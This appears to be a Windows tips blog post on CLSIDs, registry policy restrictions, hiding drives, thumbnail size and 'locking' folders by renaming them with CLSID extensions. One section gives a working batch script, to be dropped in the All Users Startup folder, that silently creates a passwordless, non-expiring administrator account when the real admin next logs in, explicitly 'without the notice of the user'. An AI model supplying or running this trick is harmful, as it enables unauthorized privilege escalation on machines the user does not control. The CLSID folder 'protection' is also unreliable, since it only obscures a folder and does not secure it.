What is CLSID?

Well, basically windows is build with the microsoft’s COM (Component Object Model) based architecture. They have built lots of dlls to provide full graphical windows. Everything in windows is built with classes. The classes of windows are assigned to an unique ID with it called Class ID or CLSID. Now any special folders or any icon of windows OS is associated to its respective CLSIDs, and they are just an object of those classes. An ICON is just a special file when associated with the approprite clsid will behave specially. For instance, if a file or folder is assigned to the CLSID of Recycle Bin will definately behave like it. Even the picture of the ICON will also change if we change the CLSID of it.

Create Admin account from Guest account or any Non-Admin account

To create an administrator account is easy. You just need to use your guest account and create one administrator account instantly. Just follow the steps :
Open Notepad, paste the following :


@echo off
net user Newadmin /add /expires:never /passwordreq:no

net localgroup “Administrators” /add Newadmin

And save it to a bat file.

Now place this bat file in location local:\Documents and Settings\All Users\Start Menu\Programs\Startup

And when your admin logs into the system, the new account will be automatically created without the notice of the user. Next time when you login, you will get the user account for you.

Some important tricks

Open registry and navigate to "HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies/explorer". Under this create a DWORD-Value and name it from the list below to impose restriction. The value of which will be 1 to restrict and 0 to remove restriction. Lets look at the following list:

NoDeletePrinter: Disables Deletion of already installed Printers

NoAddPrinter: Disables Addition of new Printers

NoRun : Disables or hides the Run Command

NoSetFolders: Removes Folders from the Settings option on Start Menu (Control Panel, Printers, Taskbar)

NoSetTaskbar: Removes Taskbar system folder from the Settings option on Start Menu

NoFind: Removes the Find Tool (Start >Find)

NoDrives: Hides and does not display any Drives in My Computer

NoNetHood: Hides or removes the Network Neighborhood icon from the desktop

NoDesktop: Hides all items including, file, folders and system folders from the Desktop

NoClose: Disables Shutdown and prevents the user from normally shutting down Windows.

NoSaveSettings: Means to say, ‘Don’t save settings on exit’

DisableRegistryTools: Disable Registry Editing Tools (If you disable this option, the Windows Registry Editor(regedit.exe) too will not work.). So be very careful.

NoRecentDocsHistory: Removes Recent Document system folder from the Start Menu (IE 4 and above)

NoFileMenu _ Hides the Files Menu in Explorer

NoActiveDesktop – No Active Desktop

NoActiveDesktopChanges- No changes allowed

NoInternetIcon – No Internet Explorer Icon on the Desktop

NoFavoritesMenu – Hides the Favorites menu

NoChangeStartMenu _ Disables changes to the Start Menu

NoFolderOptions _ Hides the Folder Options in the Explorer

NoLogoff – Hides the Log Off …. in the Start Menu

NoViewOnDrive – Restrict a drive to open

NoTrayContextMenu – No context menu in tray.

NoStartMenuSubFolders
NoWindowsUpdate
NoViewContextMenu
EnforceShellExtensionSecurity
LinkResolveIgnoreLinkInfo
NoDriveTypeAutoRun
NoStartBanner
NoSetActiveDesktop
NoNetConnectDisconnect

ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.

RestrictRun – Disables all exe programs except those listed in the RestrictRun subkey

Under the same key "HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies" you can create new subkeys other than the already existing Explorer key. Now create a new key and name it System. Under this new key, system we can create the following new DWORD values(1 for enabling the particular option and 0 for disabling the particular
option):
· NODispCPL: Hides Control Panel
· NoDispBackgroundPage: Hides Background page.
· NoDispScrsavPage: Hides Screen Saver Page
· NoDispAppearancePage: Hides Appearance Page
· NoDispSettingsPage: Hides Settings Page
· NoSecCPL: Disables Password Control Panel
· NoPwdPage: Hides Password Change Page
· NoAdminPaqe: Hides Remote Administration Page
· NoProfilePage: Hides User Profiles Page
· NoDevMgrPage: Hides Device Manager Page
· NoConfigPage: Hides Hardware Profiles Page
· NoFileSysPage: Hides File System Button
· NoVirtMemPage: Hides Virtual Memory Button

 

Similarly, if we create a new subkey named WinOldApp, we can add the following
DWORD values under it(1 for enabling the particular option and 0 for disabling the
particular option):
Disabled: Disable MS-DOS Prompt
NoRealMode: Disable Single-Mode MS-DOS.

Protecting taskbar from changes

Open Registry and navigate to "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer". Now click on edit->new->DWORD-Value and create an entry with the name "LockTaskbar". Double click on it and set the value to "1". This will disable the context menu "Lock the Taskbar". To enable it, just change the value to "0" again.

Hide disk drives in windows 8.1

Open Registry and navigate to "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer". Create a new entry by clicking on edit-> new->"Dword value". Name the value as 3fffffff.
Now each drive letter has a number. The value of the key will be the sum of the drive letter numbers. Some of the numbers are :

A:=1, B:=2,C:\4,D:=8,e:=16,f:=32,g:=64,H:=128,I:=256,j:=512,k:=1024,L:=2048 and so on. ….. Now if you want to hide "C:" and "D:" , you just have to enter value as ’12′(4+8). Enter as decimal value in the dword key and restart windows.
To get back your drives just delete the key called "3fffffff".

Changing the size of preview images

Open Registry and navigate to "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer". Click on "edit->New->DWORD-Value" Name the new entry "ThumbnailSize". Double Click on the entry, select the "Decimal" radio button and enter the number between 32 and 256. The default value is 96. Enter larger value to increase the thumbnail size. Confirm the change by clicking on "OK". Restart windows Explorer for the changes to take effect.

Protecting a folder

Its true that Microsoft named all its COM objects with a unique CLSID. This ID is responsible for any behavioural instinct in your file system. So the trick is very simple. IF we could somehow apply this trick to change the behaviour of a folder created by you with some system defined ones, our job will be over.
To do this let us create a folder named "abc" (without quotes). Now, you need to assign something to this folder so that it could be disallowed to open… Just there is a CLSID to do that.
open notepad and write

"ren abc abc.{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}" without quotes. Save the file with ".bat" extension. Let us save it as protect.bat (This is the extension of batch files) in the same location where the folder in so that it can be directly be called upon. I mean to say you need to create the batch file in the parent directory of abc. Double click on  the file and your folder will be locked.

To unprotect it just change the line to this:
"ren abc.{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0} abc"

You will have to change the folder name in place of abc. Thats all.

To attach an application with your folder:

Well, you can attach any application with your folder. Even the System services like My Computer or Recycle bin. Just you will have to create a batch file and write
"ren abc abc.{FB0C9C8A-6C50-11D1-9F1D-0000F8757FCD}" to make it behave like Scanners and Faxes. This trick will be applicable to any of the folders or files.
To unprotect, you will need to write
"ren abc.{FB0C9C8A-6C50-11D1-9F1D-0000F8757FCD} abc". Where abc is the folder name. I am giving some of the CLSID. Try them and get your work done easily….
